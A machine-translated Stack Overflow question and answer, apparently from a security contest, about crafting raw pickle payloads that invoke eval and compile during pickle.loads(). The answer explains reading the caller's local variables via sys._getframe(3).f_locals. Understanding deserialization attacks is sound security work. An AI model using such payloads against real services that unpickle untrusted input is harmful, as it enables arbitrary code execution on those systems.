-1

これはセキュリティ コンテストのためのものです。怒鳴らないでください :)

に渡された文字列を使用して からローカル変数にアクセスしようとしていますpickle.loads()。たとえば、次のようなことをしたいと思います。

local_var = 1
pickle.loads('''c__builtin__
eval
(c__builtin__
compile
(S"print local_var"
S"error_output_file"
S"exec"
tRtR.''')

ただし、次のエラーが表示されます。NameError: name 'local_var' is not defined

実際、ローカル変数を調べると、予想とはまったく異なります。

pickle.loads("""c__builtin__
locals
(tR.""")

与える

{'args': (),
 'func': <function locals>,
 'self': <pickle.Unpickler instance at 0x108af3830>,
 'stack': []}

ここで何が起こっているのか、どうすればやりたいことができるのか?

ありがとう!

4

1 に答える 1

4

この関数は、からpickle.loads()呼び出したコードのローカルに直接アクセスできません。それはそれ自身の範囲を持っています。この場合、呼び出しを処理しているインスタンスのメソッドの 1 つのローカル名前空間を見ています。.loads() pickle.Unpicler.loads()

を使用sys._getframe()して呼び出しスタックにアクセスし、.f_locals個々のフレームのマッピングを調べて、呼び出し関数のローカルに到達する必要があります。

pickleソースから推測すると、現在のディスパッチ メソッドUnpickler.load、現在のディスパッチ メソッドを呼び出すメソッド、およびモジュール レベルのloads()関数の 3 つのフレームをスキップする必要があるため、必要なsys._getframe(3).f_locals['local_var']参照を取得するには問題がありません。

于 2012-12-28T20:52:08.217 に答える